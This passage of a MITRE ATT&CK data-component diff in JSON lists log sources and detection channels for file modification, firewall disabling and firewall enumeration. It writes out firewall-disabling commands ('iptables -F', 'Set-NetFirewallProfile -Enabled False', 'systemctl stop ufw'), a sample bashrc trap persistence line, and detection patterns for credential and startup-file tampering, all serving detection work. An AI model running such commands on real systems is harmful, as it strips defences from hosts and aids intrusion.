entries or malformed SQL operations in databases" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected creation or modification of stored data files in protected directories" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EvenCode=2" + }, + { + "name": "auditd:SYSCALL", + "channel": "openat, write, rename, unlink" + }, + { + "name": "macos:unifiedlog", + "channel": "file encrypted|new file with .encrypted extension|disk write burst" + }, + { + "name": "esxi:vmkernel", + "channel": "rename .vmdk to .*.locked|datastore write spike" + }, + { + "name": "macos:unifiedlog", + "channel": "Mach-O binary modified or LC_LOAD_DYLIB segment inserted" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin" + }, + { + "name": "macos:unifiedlog", + "channel": "Modified application plist or binary replacement in /Applications" + }, + { + "name": "esxi:shell", + "channel": "admin command usage" + }, + { + "name": "networkdevice:syslog", + "channel": "startup-config" + }, + { + "name": "macos:unifiedlog", + "channel": "File creation or overwrite in common web-hosting folders" + }, + { + "name": "esxi:vmkernel", + "channel": "Unauthorized file modifications within datastore volumes via shell access or vCLI" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings" + }, + { + "name": "FirmwareLogs:Update", + "channel": "Unexpected firmware or image updates modifying cryptographic modules" + }, + { + "name": "fs:plist", + "channel": "/var/root/Library/Preferences/com.apple.loginwindow.plist" + }, + { + "name": "auditd:SYSCALL", + "channel": "modification of existing .service file" + }, + { + "name": "auditd:PATH", + "channel": "write or create events on *.pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages" + }, + { + "name": "macos:unifiedlog", + "channel": "write of plist files in /Library/LaunchAgents or /Library/LaunchDaemons" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + }, + { + "name": "WinEventLog:System", + "channel": "Unexpected modification to lsass.exe or cryptdll.dll" + }, + { + "name": "networkconfig", + "channel": "unexpected OS image file upload or modification events" + }, + { + "name": "network:runtime", + "channel": "checksum or runtime memory verification failures" + }, + { + "name": "macos:unifiedlog", + "channel": "write" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, write: Modification of /boot/grub/* or /boot/efi/*" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of /System/Library/CoreServices/boot.efi" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of LaunchAgents or LaunchDaemons plist files" + }, + { + "name": "auditd:SYSCALL", + "channel": "chmod" + }, + { + "name": "auditd:SYSCALL", + "channel": "rename,chmod" + }, + { + "name": "fs:fsevents", + "channel": "create/write/rename under user-writable paths" + }, + { + "name": "macos:osquery", + "channel": "Changes to LSFileQuarantineEnabled field in Info.plist" + }, + { + "name": "fs:fsusage", + "channel": "file access to /usr/lib/cron/tabs/ and cron output files" + }, + { + "name": "esxi:hostd", + "channel": "modification of crontab or local.sh entries" + }, + { + "name": "networkdevice:config", + "channel": "Configuration file modified or replaced on network device" + }, + { + "name": "macos:unifiedlog", + "channel": "Plist modifications containing virtualization run configurations" + }, + { + "name": "fs:fsusage", + "channel": "file access to /usr/lib/cron/at and job execution path" + }, + { + "name": "macos:unifiedlog", + "channel": "binary modified or replaced" + }, + { + "name": "esxi:hostd", + "channel": "binary or module replacement event" + }, + { + "name": "networkdevice:config", + "channel": "Configuration change events referencing encryption, TLS/SSL, or IPSec settings" + }, + { + "name": "networkdevice:firmware", + "channel": "Unexpected firmware update or image modification affecting crypto modules" + }, + { + "name": "fs:fsevents", + "channel": "file system events indicating permission, ownership, or extended attribute changes on critical paths. File system modification events with kFSEventStreamEventFlagItemChangeOwner, kFSEventStreamEventFlagItemXattrMod flags" + }, + { + "name": "auditd:FILE", + "channel": "Modification of Display Manager configuration files (/etc/gdm3/*, /etc/lightdm/*)" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of /Library/Preferences/com.apple.loginwindow plist" + }, + { + "name": "auditd:SYSCALL", + "channel": "Modification of user shell profile or trap registration via echo/redirection (e.g., echo \"trap 'malicious_cmd' INT\" >> ~/.bashrc)" + }, + { + "name": "macos:unifiedlog", + "channel": "File write or append to .zshrc, .bash_profile, .zprofile, etc." + }, + { + "name": "auditd:SYSCALL", + "channel": "chmod, write, create, open" + }, + { + "name": "fs:fsevents", + "channel": "Extensions" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, write: File writes to application binaries or libraries at runtime" + }, + { + "name": "macos:osquery", + "channel": "CALCULATE: Mismatch in file integrity of critical macOS applications" + }, + { + "name": "auditd:SYSCALL", + "channel": "file write operations in /Library/WebServer/Documents" + }, + { + "name": "fs:launchdaemons", + "channel": "file_modify" + }, + { + "name": "auditd:PATH", + "channel": "write: File modifications to /etc/systemd/sleep.conf or related power configuration files" + }, + { + "name": "macos:unifiedlog", + "channel": "write: File modification to com.apple.PowerManagement.plist or related system preference files" + }, + { + "name": "fs:fsusage", + "channel": "modification of existing LaunchAgents plist" + }, + { + "name": "macos:unifiedlog", + "channel": "create/modify dylib in monitored directories" + }, + { + "name": "WinEventLog:Application", + "channel": "81,3033" + }, + { + "name": "auditd:SYSCALL", + "channel": "write operation on /etc/passwd or /etc/shadow" + }, + { + "name": "macos:unifiedlog", + "channel": "modification to /var/db/dslocal/nodes/Default/users/" + }, + { + "name": "linux:osquery", + "channel": "New or modified kernel object files (.ko) within /lib/modules directory" + }, + { + "name": "macos:osquery", + "channel": "Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table" + }, + { + "name": "networkdevice:audit", + "channel": "SNMP configuration changes, such as enabling read/write access or modifying community strings" + }, + { + "name": "macos:osquery", + "channel": "write" + }, + { + "name": "auditd:SYSCALL", + "channel": "mount or losetup commands creating hidden or encrypted FS" + }, + { + "name": "macos:unifiedlog", + "channel": "Hidden volume attachment or modification events" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious plist edits for volume mounting behavior" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes to startup image paths, boot loader parameters, or debug flags" + }, + { + "name": "networkdevice:syslog", + "channel": "Checksum/hash mismatch between device OS image and baseline known-good version" + }, + { + "name": "macos:unifiedlog", + "channel": "file writes" + }, + { + "name": "m365:defender", + "channel": "OfficeTelemetry or DLP" + }, + { + "name": "fs:fsusage", + "channel": "Filesystem Access Logging" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes referencing cryptographic hardware modules or disabling hardware acceleration" + }, + { + "name": "FirmwareLogs:Update", + "channel": "Unexpected firmware updates that alter encryption libraries or disable hardware crypto modules" + }, + { + "name": "m365:office", + "channel": "Anomalous editing of invoice or payment document templates" + }, + { + "name": "fs:fsusage", + "channel": "truncate, unlink, write" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db" + }, + { + "name": "linux:fim", + "channel": "Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)" + }, + { + "name": "macos:endpointsecurity", + "channel": "write, rename" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write to /proc/*/mem or /proc/*/maps" + }, + { + "name": "sysdig:file", + "channel": "evt.type=write" + }, + { + "name": "macos:unifiedlog", + "channel": "rule definitions written to emond rule plists" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes referencing older image versions or unexpected boot parameters" + }, + { + "name": "FileIntegrity:ImageValidation", + "channel": "Hash/checksum mismatch against baseline vendor-provided OS image versions" + }, + { + "name": "auditd:SYSCALL", + "channel": "write or rename to /etc/systemd/system or /etc/init.d" + }, + { + "name": "fs:fsusage", + "channel": "file write to launchd plist paths" + }, + { + "name": "auditd:SYSCALL", + "channel": "modification of entrypoint scripts or init containers" + }, + { + "name": "fs:plist_monitoring", + "channel": "/Users/*/Library/Mail/V*/MailData/RulesActiveState.plist" + }, + { + "name": "auditd:SYSCALL", + "channel": "chmod/chown to /etc/passwd or /etc/shadow" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write syscalls targeting web directory files" + }, + { + "name": "macos:unifiedlog", + "channel": "Terminal/Editor processes modifying web folder" + }, + { + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0061\", \"external_id\": \"DC0061\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"File\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write calls modifying ~/.bashrc, ~/.profile, or /etc/paths.d\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File modification in /etc/paths.d or user shell rc files\"}, {\"name\": \"fs:fileevents\", \"channel\": \"/var/log/quarantine.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of ~/Library/LaunchAgents or /Library/LaunchDaemons plist\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, write\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"AUDIT_SYSCALL (open, write, rename, unlink)\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_WRITE, targeting .zshrc, .zlogin, .zprofile\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663\"}, {\"name\": \"fs:fileevents\", \"channel\": \"/var/log/install.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"PATH\"}, {\"name\": \"macos:osquery\", \"channel\": \"file_events\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=2\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve call for modification of /etc/sudoers or writing to /var/db/sudo\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, write: File modifications under /etc/ssl/certs, /usr/local/share/ca-certificates, or /etc/pki/ca-trust/source/anchors\"}, {\"name\": \"macos:osquery\", \"channel\": \"query: Enumeration of root certificates showing unexpected additions\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, unlink, rename: Suspicious file access, deletion, or modification of sensitive paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Anomalous plist modifications or sensitive file overwrites by non-standard processes\"}, {\"name\": \"auditd:FILE\", \"channel\": \"Modification or deletion of /etc/audit/audit.rules or /etc/audit/audit.conf\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write of .service unit files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write/unlink\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow or desktopservices modified settings or files\"}, {\"name\": \"ESXiLogs:messages\", \"channel\": \"changes to /etc/motd or /etc/vmware/welcome\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write, rename\"}, {\"name\": \"containerd:runtime\", \"channel\": \"file change monitoring within /etc/cron.*, /tmp, or mounted volumes\"}, {\"name\": \"esxi:cron\", \"channel\": \"manual edits to /etc/rc.local.d/local.sh or cron.d\"}, {\"name\": \"auditd:PATH\", \"channel\": \"/etc/passwd or /etc/group file write\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"SecurityAgentPlugins modification\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"write: File modifications to *.plist within LaunchAgents, LaunchDaemons, Application Support, or Preferences directories\"}, {\"name\": \"linux:osquery\", \"channel\": \"file_events\"}, {\"name\": \"esxi:hostd\", \"channel\": \"boot\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"config\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of backgrounditems.btm or creation of LoginItems subdirectory in .app bundle\"}, {\"name\": \"fs:filesystem\", \"channel\": \"Modification or creation of files matching 'com.apple.loginwindow.*.plist' in ~/Library/Preferences/ByHost\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write | PATH=/home/*/.ssh/authorized_keys\"}, {\"name\": \"macos:auth\", \"channel\": \"~/.ssh/authorized_keys\"}, {\"name\": \"gcp:audit\", \"channel\": \"compute.instances.setMetadata\"}, {\"name\": \"azure:resource\", \"channel\": \"PATCH vm/authorized_keys\"}, {\"name\": \"esxi:shell\", \"channel\": \"file write or edit\"}, {\"name\": \"linux:syslog\", \"channel\": \"rename\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"file_write\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of plist with apple.awt.UIElement set to TRUE\"}, {\"name\": \"fs:fsusage\", \"channel\": \"unlink, write\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, write: Write operations targeting /dev/sda, /dev/nvme0n1, or EFI partition mounts\"}, {\"name\": \"auditd:PATH\", \"channel\": \"write: Modification of /boot/grub/*, /boot/efi/EFI/*, or initramfs images\"}, {\"name\": \"networkdevice:config\", \"channel\": \"config-change: timezone or ntp server configuration change after a time query command\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"replace existing dylibs\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes to boot variables, startup image paths, or checksum verification failures\"}, {\"name\": \"firmware:update\", \"channel\": \"Unexpected or unscheduled firmware updates, image overwrites, or failed signature validation\"}, {\"name\": \"IntegrityCheck:ImageValidation\", \"channel\": \"Checksum or hash mismatch between running image and known-good vendor-provided image\"}, {\"name\": \"macos:osquery\", \"channel\": \"File modifications in ~/Library/Preferences/\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write to /etc/pam.d/*\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of /Library/Security/SecurityAgentPlugins\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modifications to Mail.app plist files controlling message rules\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656,4663\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write: Modification of structured stored data by suspicious processes\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unexpected log entries or malformed SQL operations in databases\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected creation or modification of stored data files in protected directories\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EvenCode=2\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"openat, write, rename, unlink\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file encrypted|new file with .encrypted extension|disk write burst\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"rename .vmdk to .*.locked|datastore write spike\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Mach-O binary modified or LC_LOAD_DYLIB segment inserted\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modified application plist or binary replacement in /Applications\"}, {\"name\": \"esxi:shell\", \"channel\": \"admin command usage\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"startup-config\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File creation or overwrite in common web-hosting folders\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Unauthorized file modifications within datastore volumes via shell access or vCLI\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings\"}, {\"name\": \"FirmwareLogs:Update\", \"channel\": \"Unexpected firmware or image updates modifying cryptographic modules\"}, {\"name\": \"fs:plist\", \"channel\": \"/var/root/Library/Preferences/com.apple.loginwindow.plist\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"modification of existing .service file\"}, {\"name\": \"auditd:PATH\", \"channel\": \"write or create events on *.pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"write of plist files in /Library/LaunchAgents or /Library/LaunchDaemons\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4670\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"Unexpected modification to lsass.exe or cryptdll.dll\"}, {\"name\": \"networkconfig\", \"channel\": \"unexpected OS image file upload or modification events\"}, {\"name\": \"network:runtime\", \"channel\": \"checksum or runtime memory verification failures\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"write\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, write: Modification of /boot/grub/* or /boot/efi/*\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of /System/Library/CoreServices/boot.efi\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of LaunchAgents or LaunchDaemons plist files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chmod\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"rename,chmod\"}, {\"name\": \"fs:fsevents\", \"channel\": \"create/write/rename under user-writable paths\"}, {\"name\": \"macos:osquery\", \"channel\": \"Changes to LSFileQuarantineEnabled field in Info.plist\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file access to /usr/lib/cron/tabs/ and cron output files\"}, {\"name\": \"esxi:hostd\", \"channel\": \"modification of crontab or local.sh entries\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration file modified or replaced on network device\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Plist modifications containing virtualization run configurations\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file access to /usr/lib/cron/at and job execution path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"binary modified or replaced\"}, {\"name\": \"esxi:hostd\", \"channel\": \"binary or module replacement event\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration change events referencing encryption, TLS/SSL, or IPSec settings\"}, {\"name\": \"networkdevice:firmware\", \"channel\": \"Unexpected firmware update or image modification affecting crypto modules\"}, {\"name\": \"fs:fsevents\", \"channel\": \"file system events indicating permission, ownership, or extended attribute changes on critical paths. File system modification events with kFSEventStreamEventFlagItemChangeOwner, kFSEventStreamEventFlagItemXattrMod flags\"}, {\"name\": \"auditd:FILE\", \"channel\": \"Modification of Display Manager configuration files (/etc/gdm3/*, /etc/lightdm/*)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of /Library/Preferences/com.apple.loginwindow plist\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Modification of user shell profile or trap registration via echo/redirection (e.g., echo \\\"trap 'malicious_cmd' INT\\\" >> ~/.bashrc)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File write or append to .zshrc, .bash_profile, .zprofile, etc.\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chmod, write, create, open\"}, {\"name\": \"fs:fsevents\", \"channel\": \"Extensions\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, write: File writes to application binaries or libraries at runtime\"}, {\"name\": \"macos:osquery\", \"channel\": \"CALCULATE: Mismatch in file integrity of critical macOS applications\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"file write operations in /Library/WebServer/Documents\"}, {\"name\": \"fs:launchdaemons\", \"channel\": \"file_modify\"}, {\"name\": \"auditd:PATH\", \"channel\": \"write: File modifications to /etc/systemd/sleep.conf or related power configuration files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"write: File modification to com.apple.PowerManagement.plist or related system preference files\"}, {\"name\": \"fs:fsusage\", \"channel\": \"modification of existing LaunchAgents plist\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"create/modify dylib in monitored directories\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"81,3033\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write operation on /etc/passwd or /etc/shadow\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"modification to /var/db/dslocal/nodes/Default/users/\"}, {\"name\": \"linux:osquery\", \"channel\": \"New or modified kernel object files (.ko) within /lib/modules directory\"}, {\"name\": \"macos:osquery\", \"channel\": \"Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table\"}, {\"name\": \"networkdevice:audit\", \"channel\": \"SNMP configuration changes, such as enabling read/write access or modifying community strings\"}, {\"name\": \"macos:osquery\", \"channel\": \"write\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mount or losetup commands creating hidden or encrypted FS\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Hidden volume attachment or modification events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious plist edits for volume mounting behavior\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes to startup image paths, boot loader parameters, or debug flags\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Checksum/hash mismatch between device OS image and baseline known-good version\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file writes\"}, {\"name\": \"m365:defender\", \"channel\": \"OfficeTelemetry or DLP\"}, {\"name\": \"fs:fsusage\", \"channel\": \"Filesystem Access Logging\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes referencing cryptographic hardware modules or disabling hardware acceleration\"}, {\"name\": \"FirmwareLogs:Update\", \"channel\": \"Unexpected firmware updates that alter encryption libraries or disable hardware crypto modules\"}, {\"name\": \"m365:office\", \"channel\": \"Anomalous editing of invoice or payment document templates\"}, {\"name\": \"fs:fsusage\", \"channel\": \"truncate, unlink, write\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db\"}, {\"name\": \"linux:fim\", \"channel\": \"Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"write, rename\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write to /proc/*/mem or /proc/*/maps\"}, {\"name\": \"sysdig:file\", \"channel\": \"evt.type=write\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"rule definitions written to emond rule plists\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes referencing older image versions or unexpected boot parameters\"}, {\"name\": \"FileIntegrity:ImageValidation\", \"channel\": \"Hash/checksum mismatch against baseline vendor-provided OS image versions\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write or rename to /etc/systemd/system or /etc/init.d\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file write to launchd plist paths\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"modification of entrypoint scripts or init containers\"}, {\"name\": \"fs:plist_monitoring\", \"channel\": \"/Users/*/Library/Mail/V*/MailData/RulesActiveState.plist\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chmod/chown to /etc/passwd or /etc/shadow\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write syscalls targeting web directory files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Terminal/Editor processes modifying web folder\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"/var/log/vmkernel.log\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.239000+00:00\", \"old_value\": \"2025-04-18 15:10:11.410000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--c97d0171-f6e0-4415-85ff-4082fdb8c72a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:40.022000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0043", + "external_id": "DC0043" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Firewall Disable", + "description": "The deactivation, misconfiguration, or complete stoppage of firewall services, either on a host or in a cloud control plane. Such activity may involve turning off firewalls, modifying rules to disable protection, or deleting firewall-related configurations and activity logs. Examples: \n\n- Disabling Host-Based Firewalls: Stopping the Windows Defender Firewall service or using `iptables -F` to flush all rules on a Linux system.\n- Cloud Firewall Modification or Deactivation: Modifying or deleting security group rules in AWS or disabling a network firewall in Azure.\n- Activity Log Deletion: Writing or deleting entries in Azure Firewall Activity Logs to hide unauthorized firewall changes.\n- Temporary Disable for Malicious Operations: Temporarily disabling a firewall to allow malicious files or traffic, then re-enabling it to avoid detection.\n- Using Command-Line Tools to Stop Firewalls: Running commands like `Set-NetFirewallProfile -Enabled False on Windows or systemctl stop ufw` on Linux.\n\nThis data component can be collected through the following measures:\n\nCloud Control Plane\n\n- Azure Activity Logs:\n - Enable logging of administrative actions, such as stopping or modifying Azure Firewall configurations.\n - Use Azure Monitor to track specific firewall-related actions, including disabling or rule deletion.\n- AWS CloudTrail Logs:\n - Monitor `RevokeSecurityGroupIngress` or `RevokeSecurityGroupEgress` events to detect rule changes in AWS Security Groups.\n- Google Cloud Platform Logs:\n - Collect logs from the Firewall Rules resource in Google Cloud Operations Suite to detect rule deletions or modifications.\n\nHost-Level Firewalls\n\n- Windows Firewall Event Logs:\n - Enable logging of firewall state changes:\n - Security Event ID 2004: Firewall service stopped.\n - Security Event ID 2005: Firewall service started.\n - Use Sysmon for process creation events tied to firewall commands or scripts (Sysmon Event ID 1).\n- Linux Firewall Logs: Use auditd to track commands like iptables, firewalld, or ufw: `auditctl -a always,exit -F arch=b64 -S execve -k firewall_disable`\n- macOS Firewall: Monitor changes to the macOS Application Firewall using the log show command.\n\nNetwork-Level Monitoring\n\n- IDS/IPS Alerts: Deploy IDS/IPS systems to monitor abnormal traffic flows that could indicate firewall disablement.\n- NetFlow Data: Analyze NetFlow or packet capture data for traffic patterns inconsistent with firewall enforcement.\n\nSIEM and CSPM Tools\n\n- SIEM Integration: Use tools like Splunk or QRadar to centralize and analyze firewall disablement events from both hosts and cloud platforms.\n- Cloud Security Posture Management (CSPM): Use CSPM solutions to monitor misconfigurations and track deactivation of critical cloud services like firewalls.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "esxi:vmkernel", + "channel": "Disabling or modifying firewall rules" + }, + { + "name": "AWS:CloudTrail", + "channel": "Removal of restrictive egress rules from a security group" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0043\", \"external_id\": \"DC0043\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"esxi:vmkernel\", \"channel\": \"Disabling or modifying firewall rules\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Removal of restrictive egress rules from a security group\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:40.022000+00:00\", \"old_value\": \"2025-04-18 15:16:59.931000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--bf91faa8-0049-4870-810a-4df55e0b77ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0044", + "external_id": "DC0044" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Firewall Enumeration", + "description": "Querying and extracting a list of available firewalls or their associated configurations and rules. This activity can occur across host systems and cloud control planes, providing insight into the state and configuration of firewalls that protect the environment. Examples: \n\n- Querying Host-Based Firewalls: Using Windows PowerShell commands like `Get-NetFirewallRule` or Linux commands such as `iptables -L` or `firewalld --list-all`.\n- Cloud Firewall Rule Listing: Running commands like `az network firewall list` for Azure or `aws ec2 describe-security-groups` for AWS.\n- Using Management APIs: Leveraging APIs like Google Cloud Firewall's `list` API method or AWS's DescribeSecurityGroups API.\nIdentifying Misconfigurations: Extracting firewall rules to identify \u201callow all\u201d policies or rules that lack logging.\n- Enumerating with CLI Tools: Using CLI commands like `gcloud compute firewall-rules list` to extract firewall settings in Google Cloud.\n\nThis data component can be collected through the following measures:\n\nCloud Control Plane\n\n- Azure Activity Logs:Collect logs from Azure Firewall to monitor rule listing commands. Enable logging for `az network firewall` commands.\n- AWS CloudTrail: Monitor calls to `DescribeSecurityGroups` or `DescribeNetworkAcls` APIs.\nGoogle Cloud Operations Suite: Collect logs for `gcloud compute firewall-rules list` or API calls to `firewalls.list`.\n\nHost-Based Firewalls\n\n- Windows Event Logs: Use PowerShell transcription logs to capture commands like `Get-NetFirewallRule`.\n- Linux Auditd: Track executions of commands like `iptables 